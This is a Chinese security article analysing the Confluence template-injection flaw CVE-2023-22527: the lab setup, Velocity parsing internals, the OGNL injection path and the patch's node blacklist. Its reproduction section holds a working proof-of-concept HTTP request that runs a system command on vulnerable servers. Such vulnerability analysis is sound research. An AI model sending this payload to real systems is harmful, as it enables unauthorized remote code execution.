Atlassian Confluence SSTI RCE(CVE-2023-22527)详细漏洞分... 2024-02-26 10:12:36 ![](https://image.3001.net/images/20240308/1709876354_65eaa4828e91d155430d9.png) 本文由 创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载 环境搭建 ---- 使用vulhub的docker环境,`git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)`,到漏洞目录看一下docker-compose文件,编辑docker-compose文件并**新增**开放远程调试端口5005。 version: '2' services: web: image: vulhub/confluence:8.5.3 ports: - "8090:8090" - "5005:5005" ###新增开发端口 depends_on: - db db: image: postgres:15.4-alpine environment: - POSTGRES_PASSWORD=postgres - POSTGRES_DB=confluence 使用命令启动docker环境`docker compose start`,然后在docker环境中导出远程调试使用的依赖库。 docker cp 03f51dd5e1a5:/opt/atlassian/confluence /mnt/e/confluence/confluence7 ##依赖库 docker cp 03f51dd5e1a5:/opt/java/openjdk /mnt/e/confluence/openjdk ##JDK环境 将导出的依赖库和JDK环境使用IDEA导入到新的项目中。 编写confluence启动脚本增加远程调试,这里使用的是setenv.sh脚本,在export CATALINA\_OPTS前面增加`CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 ${CATALINA_OPTS}"`。 ![image.png](https://image.3001.net/images/20240226/1708911781_65dbeca50ba8d6e0a3f4a.png) 由于docker环境中没有编辑工具,这里我在外面编辑,使用命令将文件拷贝出来,编辑完成后将文件拷贝到docker容器中。 docker cp 03f51dd5e1a5:/opt/atlassian/confluence/bin/setenv.sh . nano setenv.sh docker cp setenv.sh db5e15881ec9:/opt/atlassian/confluence/bin/setenv.sh 最重要的一点,编辑完成后必须要重启docker才能生效,记住这里是重启不是start。重启命令`docker compose restart`。 接下来配置IDEA中的JVM远程调试。 ![image.png](https://image.3001.net/images/20240226/1708911813_65dbecc566c3eaab80fc4.png) 配置IP和端口后,这里使用IDEA直接开启调试,看到下面的字样就是调试端口远程连接成功了。 ![image.png](https://image.3001.net/images/20240226/1708911848_65dbece88bb04c97ad3c6.png) 漏洞复现 ---- 漏洞POC如下: POST /template/aui/text-inline.vm HTTP/1.1 Host: localhost:8090 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 285 label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"})) ![image.png](https://image.3001.net/images/20240226/1708911876_65dbed045dbbef1e0f0e4.png) 漏洞分析 ---- ### Velocity模板 Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。 ##### 基本语法 **语句标识符** 用来标识Velocity的脚本语句, 包括 #set 、 #if 、 #else 、 #end 、 #foreach 、 #end 、 #include 、 #parse 、 #macro 等语句。 **变量** $ 用来标识一个变量,比如模板文件中为 Hello $a ,可以获取通过上下文传递的 $a **声明** set 用于声明Velocity脚本变量,变量可以在脚本中声明 **{} 标识符** "{}"用来明确标识Velocity变量; #### Velocity模板渲染流程 这里以template.vm渲染为例。 Hello $foo world! ![image.png](https://image.3001.net/images/20240226/1708911957_65dbed5508ce1b78b5e01.png) 1. 引擎初始化,通过设置的引擎属性初始化引擎,包括国际化支持,ResourceLoader设置,字符编码等。 2. 获取并解析模板文件,首先通过ResourceLoader将tempalte加载为InputStream,然后通过Parser生成如下Token集合:{\[ Hello\], \[$foo\], \[world! \]},然后通过AST(Abstract Syntax Tree)解析器将InputStream解析为一个AST。最终解析的节点有三个 1. \[ Hello\]对应的ASTText节点; 2. \[$foo\]对应的ASTReference节点; 3. \[world! \]对应的ASTText节点 3. 创建一个Context 4. 将模板渲染所需的参数放入context 5. 执行模板渲染,产生输出流。渲染过程中通过遍历该模板对应的AST,调用相应节点的处理器执行渲染。模板遍历其对应的AST树,执行每个节点的渲染过程。如ASTText节点只是简单的将文本写入writer。ASTReference节点需要从context中获取引用的参数foo的值VV,将$foo替换,并写入到writer中。Velocity的AST中有多种节点,如ASTIdentitor等,有些需要反射机制处理。当整个AST遍历结束,也就意味着模板渲染结束。 结合上面的Velocity模板解析流程我们来看Confluence中text-inline.vm解析,text-inline.vm文件内容如下: #set( $labelValue = $stack.findValue("getText('$parameters.label')") ) #if( !$labelValue ) #set( $labelValue = $parameters.label ) #end #if (!$parameters.id) #set( $parameters.id = $parameters.name) #end #parse("/template/aui/text-include.vm") Confluence中对于vm的请求会用com.atlassian.confluence.servlet.ConfluenceVelocityServlet#doRequest方法处理。 protected void doRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { Context context = this.createContext(request, response); this.setContentType(request, response); Template template = this.handleRequest(request, response, context); //Velocity模板初始化,加载text-inline.vm模板文件并解析出Token. if (template == null) { return; } this.mergeTemplate(template, context, response); //模板渲染 } catch (Exception var5) { this.error(request, response, var5); } } 可以看到在上述代码中第5行完成对Velocity模板引擎初始化以及模板中解析出Token,text-inline.vm中的第一行解析成\[#set(\], \[ \], \[$labelValue\], \[ \], \[=\], \[ \], \[$stack\], \[.\], \[findValue\], \[(\], \["getText('$parameters.label')"\], \[)\], \[ \], \[)等。 ![image.png](https://image.3001.net/images/20240226/1708912005_65dbed8508ae778a374b9.png) #### Velocity模板AST节点解析 从上面看到VM模板文件被解析成不同的Token,每个Token都用对应AST节点解析,这里我们可以简单写一个测试程序来观察每个token对应节点解析,通过下面代码将解析出AST节点输出。 import org.apache.velocity.runtime.parser.CharStream; import org.apache.velocity.runtime.parser.Parser; import org.apache.velocity.runtime.parser.VelocityCharStream; import org.apache.velocity.runtime.parser.node.SimpleNode; import java.io.ByteArrayInputStream; public class Main { public static void main(String[] args) { String temp = "#set( $labelValue = $stack.findValue(\"getText('$parameters.label')\") )"; CharStream stream = new VelocityCharStream(new ByteArrayInputStream(temp.getBytes()), 0, 0); Parser t = new Parser(stream); try { SimpleNode n = t.process(); n.dump(""); } catch (Exception e) { e.printStackTrace(); } }} 输出AST结果如下: *.node.ASTprocess@6646153[id=0,info=0,invalid=false,children=1,tokens=[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)], [ ], [)], [)]] *.node.ASTSetDirective@5ad851c9[id=23,info=0,invalid=false,children=2,tokens=[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)], [ ], [)]] *.node.ASTReference@6156496[id=16,info=0,invalid=false,children=0,tokens=[$labelValue]] *.node.ASTExpression@3c153a1[id=25,info=0,invalid=false,children=1,tokens=[ ], [$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)], [ ]] *.node.ASTReference@b62fe6d[id=16,info=0,invalid=false,children=1,tokens=[$stack], [.], [findValue], [(], ["getText('$parameters.label')"], [)]] *.node.ASTMethod@13acb0d1[id=15,info=0,invalid=false,children=2,tokens=[findValue], [(], ["getText('$parameters.label')"], [)]] *.node.ASTIdentifier@3e3047e6[id=8,info=0,invalid=false,children=0,tokens=[findValue]] *.node.ASTStringLiteral@37e547da[id=7,info=0,invalid=false,children=0,tokens=["getText('$parameters.label')"]] 可以看到#set(节点是使用ASTSetDirective解析,这里重点看一下最后一个节点使用ASTStringLiteral节点解析的,如果这里vm文件换成另外一个`#set( $labelValue = $stack.findValue($parameters.label))`,我们来看一下输出的不同。 *.node.ASTprocess@3d299e3[id=0,info=0,invalid=false,children=1,tokens=[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], [$parameters], [.], [label], [)], [ ], [)], [)]] *.node.ASTSetDirective@f2f2cc1[id=23,info=0,invalid=false,children=2,tokens=[#set(], [ ], [$labelValue], [ ], [=], [ ], [$stack], [.], [findValue], [(], [$parameters], [.], [label], [)], [ ], [)]] *.node.ASTReference@3a079870[id=16,info=0,invalid=false,children=0,tokens=[$labelValue]] *.node.ASTExpression@3b2cf7ab[id=25,info=0,invalid=false,children=1,tokens=[ ], [$stack], [.], [findValue], [(], [$parameters], [.], [label], [)], [ ]] *.node.ASTReference@2aa5fe93[id=16,info=0,invalid=false,children=1,tokens=[$stack], [.], [findValue], [(], [$parameters], [.], [label], [)]] *.node.ASTMethod@5c1a8622[id=15,info=0,invalid=false,children=2,tokens=[findValue], [(], [$parameters], [.], [label], [)]] *.node.ASTIdentifier@5ad851c9[id=8,info=0,invalid=false,children=0,tokens=[findValue]] *.node.ASTReference@6156496[id=16,info=0,invalid=false,children=1,tokens=[$parameters], [.], [label]] *.node.ASTIdentifier@3c153a1[id=8,info=0,invalid=false,children=0,tokens=[label]] 可以看到这里是直接走节点的解析,最后一个节点是ASTIdentifier,没有ASTStringLiteral节点的解析,注意细节的小伙伴可以看到两个vm的区别就是findValue函数中有无引号的区别。 #### 模板渲染 com.atlassian.confluence.servlet.ConfluenceVelocityServlet#mergeTemplate函数会调用org.apache.velocity.Template#merge函数,重点看一下121行`( (SimpleNode) data ).render( ica, writer);`,通过调用AST的跟节点(ASTprocess)的render方法。 ![image.png](https://image.3001.net/images/20240226/1708912044_65dbedac43a3b0ea2818c.png)SimpleNode#render函数会遍历处理各个子节点的render。 public boolean render(InternalContextAdapter context, Writer writer) throws IOException, MethodInvocationException, ParseErrorException, ResourceNotFoundException { int k = this.jjtGetNumChildren(); for(int i = 0; i < k; ++i) { this.jjtGetChild(i).render(context, writer); //根据token分配不同AST节点解析并渲染 } return true; } 如果是ASTSetDirective类型的节点就会调用ASTSetDirective#render函数,如果是ASTStringLiteral类型的节点就会调用ASTStringLiteral#render函数。并通过writer进行模板的渲染,当前节点解析完成会返回true。例如text-inline.vm文件中的第一个解析#set,就会调用org.apache.velocity.runtime.parser.node.ASTSetDirective#render函数。如果文本例如html则就是ASTText节点处理,下面的函数是ASTText节点的render函数,只是简单的将文本写入writer,完成当前节点的执行。 public boolean render(InternalContextAdapter context, Writer writer) throws IOException { if (context.getAllowRendering()) { writer.write(this.ctext); } return true; } ### 模板注入 我们输入测试的payload,简单跟踪一下处理流程。SimpleNode处理以前的流程不在重复说明,这里重点来看SimpleNode处理以后的节点,首先看一下调用的函数。 value:290, ASTStringLiteral (org.apache.velocity.runtime.parser.node) execute:155, ASTMethod (org.apache.velocity.runtime.parser.node) execute:262, ASTReference (org.apache.velocity.runtime.parser.node) value:507, ASTReference (org.apache.velocity.runtime.parser.node) value:71, ASTExpression (org.apache.velocity.runtime.parser.node) render:142, ASTSetDirective (org.apache.velocity.runtime.parser.node) render:336, SimpleNode (org.apache.velocity.runtime.parser.node) 在ASTSetDirective#render函数中,通过该函数的第一行获取右边的值,可以看到这里获取到的是`$stack.findValue("getText('$parameters.label')")`,也就是=右边的值,对应左边的值就是`$labelValue`。 ![image.png](https://image.3001.net/images/20240226/1708912077_65dbedcd444c1c5dcc853.png)因为右边的值是$stack开始的,所以这里就会调用ASTReference#value。可以看到ASTRefernce#value方法会调用ASTRefernce#execute方法。 ![image.png](https://image.3001.net/images/20240226/1708912105_65dbede994445181c0327.png)在ASTRefernce#execute方法中首先对`$stack`通过`this.getVariableValue(context, this.rootString);`做了进一步的解析,解析就不做详细的说明了,感兴趣的同学可以下个断点调试看一下。这里可以看到解析出来的就是`ognl.OgnlValueStack`类。然后会循环解析调用子节点的execute方法。 ![image.png](https://image.3001.net/images/20240226/1708912138_65dbee0af33c009c1fb83.png)在ASTMethod#execute方法中,会解析当前的函数名称以及循环获取函数参数,在获取函数参数的过程中会调用子节点的value方法,这里的函数名称就是findvule,参数则是`"getText('$parameters.label')"`,可以看到参数是字符串的类型,所以这里的子节点就是ASTStringLiteral.最后通过`Object obj = method.invoke(o, params);`将获取到的对应的方法反射解析。 ![image.png](https://image.3001.net/images/20240226/1708912173_65dbee2db421fb0837b1e.png)在ASTStringLiteral#value方法中,首先通过`this.interpolate`,判断当前值中是否存在`$(变量)`,如果不存在变量就直接返回字符串,如果存在则会通过`nodeTree.render(context, writer)`调用SimpleNode根节点进一步解析。如果这里的变量可控,我们可以输入恶意字符,在模板二次解析的解析恶意字符,这就是诱发模板注入的原因所在。 ![image.png](https://image.3001.net/images/20240226/1708912205_65dbee4de01f59cc44a2a.png)继续进一步跟踪,这里将会反射调用`ognl.OgnlValueStack.findvaule`方法。 ![image.png](https://image.3001.net/images/20240226/1708912240_65dbee70605fcd6c1579b.png)简答看一下下面调用过程,最终调用`OgnlUtil.execute`,完成了Ognl表达书的注入。 execute:523, OgnlUtil$2 (com.opensymphony.xwork2.ognl) compileAndExecute:562, OgnlUtil (com.opensymphony.xwork2.ognl) getValue:521, OgnlUtil (com.opensymphony.xwork2.ognl) getValueUsingOgnl:297, OgnlValueStack (com.opensymphony.xwork2.ognl) tryFindValue:280, OgnlValueStack (com.opensymphony.xwork2.ognl) tryFindValueWhenExpressionIsNotNull:262, OgnlValueStack (com.opensymphony.xwork2.ognl) findValue:242, OgnlValueStack (com.opensymphony.xwork2.ognl) findValue:304, OgnlValueStack (com.opensymphony.xwork2.ognl) invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect) invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect) invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect) invoke:566, Method (java.lang.reflect) doInvoke:385, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection) invoke:374, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection) invoke:28, UnboxingMethod (com.atlassian.velocity.htmlsafe.introspection) execute:270, ASTMethod (org.apache.velocity.runtime.parser.node) 重点看一下ognl#compileAndExecute方法,在415行中`Ognl.parseExpression(expression)`完成了对Ognl表达式的解析,解析之后也将unicode 编码还原。为什么payload要输入\\u0027,将其拼接到原来的getText(' 中,这里我们输入是\\u0027 xxxx\\u0027,将SQL注入一样这里刚好将getText函数中的字符串闭合,闭合之后插入自己payload,如果输入单引号将会被html实体编码。 ![image.png](https://image.3001.net/images/20240226/1708912276_65dbee948f84287ccc89e.png)最终可以看到表达式成功执行。 ![image.png](https://image.3001.net/images/20240226/1708912312_65dbeeb8125badb41c6d7.png)构造RCEpayload具体可见:[https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/?ref=blog.projectdiscovery.io#strutsutil:~:text=(PageContextImpl)-,For%20Velocity%3A,-.KEY\_velocity.struts2.context](https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/?ref=blog.projectdiscovery.io#strutsutil:~:text=(PageContextImpl)-,For%20Velocity%3A,-.KEY_velocity.struts2.context)文章。 疑点解惑 ---- 通过上文了解主要是通过OgnlValueStack.findValue可以完成Ognl表达式注入,我们可以在文件中搜索$stack.findValue或者$ognl.findValue来找一找其他入口点,这里找到一个pagelist.vm文件,可以看到第一行与text-inline.vm明显的区别就是findVaule()方法中没有引号。 ![image.png](https://image.3001.net/images/20240226/1708912350_65dbeede2a59b103ce0f4.png)如果这里findvaule()是String类型才会解析到com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(java.lang.String), ![image.png](https://image.3001.net/images/20240226/1708912388_65dbef042d081a44c6630.png)如果我们使用pagelist文件,这里请求之后在ASTMethod#execute获取findvalue方法的请求参数params是个ParamsRequest对象。 ![image.png](https://image.3001.net/images/20240226/1708912419_65dbef237febcefa30a39.png)com.opensymphony.xwork2.ognl.OgnlValueStack没有参数ParamsRequest对象的findvalue方法是所以这里返回的是空。这就是pagelist.vm为什么不能作为入口的原因。 ![image.png](https://image.3001.net/images/20240226/1708912445_65dbef3d0f13f7d09a9f5.png) 补丁分析 ---- 官方的修复比较有意思的是直接增加Ognl表达式的节点黑名单,但是最新的8.5.6中已经将入口文件text-inline.vm删除。相比与上个版本增加了excludedNodeTypes节点黑名单,如果表达式存在下面的节点,就会中断表达式的执行。 ![image.png](https://image.3001.net/images/20240226/1708912466_65dbef52a848fe0c2d386.png)在OgnlUtil.toTree方法中,首先会在缓存的属性中查找值,这块调试也花了一点时间,所以每次可以发送一个不同的payload,然后就会进入第569行,`this.ognlGuard.parseExpression(expr)`,这里可以看到如果解析的节点是\_ognl\_guard\_blocked节点就会抛出异常,中断Ognl表达式的执行。![image.png](https://image.3001.net/images/20240226/1708912498_65dbef72386acccabed8c.png)通过ognlGuard解析Ognl表达式,最后将解析后的数据写入到缓存数据中。如果解析的节点是黑名单就会返回\_ognl\_guard\_blocked,如果没有节点黑名单就会返回正常的节点树。 ![image.png](https://image.3001.net/images/20240226/1708912549_65dbefa5d1cfa1c2956e9.png)在StrutsOgnlGuard#containsExcludedNodeType函数会追个解析表达式的节点,并判断当前的节点是否在补丁中的节点中,可以看到这获取到表达式的节点是ASTAdd,黑名单中也存在该节点,这里将会返回True. ![image.png](https://image.3001.net/images/20240226/1708912574_65dbefbe5e3a3a2f77469.png)isParsedTreeBlocked 函数也会返回true。 ![image.png](https://image.3001.net/images/20240226/1708912599_65dbefd73d9f9cce5fc97.png) 总结 == 这个漏洞是SSTI注入的一种形式,其他的类型SSTI注入都是直接插入模板文件行,官方的修复也是比较有意思,这里可以看到直接OGNL表达式解析的时候增加了黑名单。 \# 漏洞 \# web安全 \# 漏洞分析 \# 网络安全技术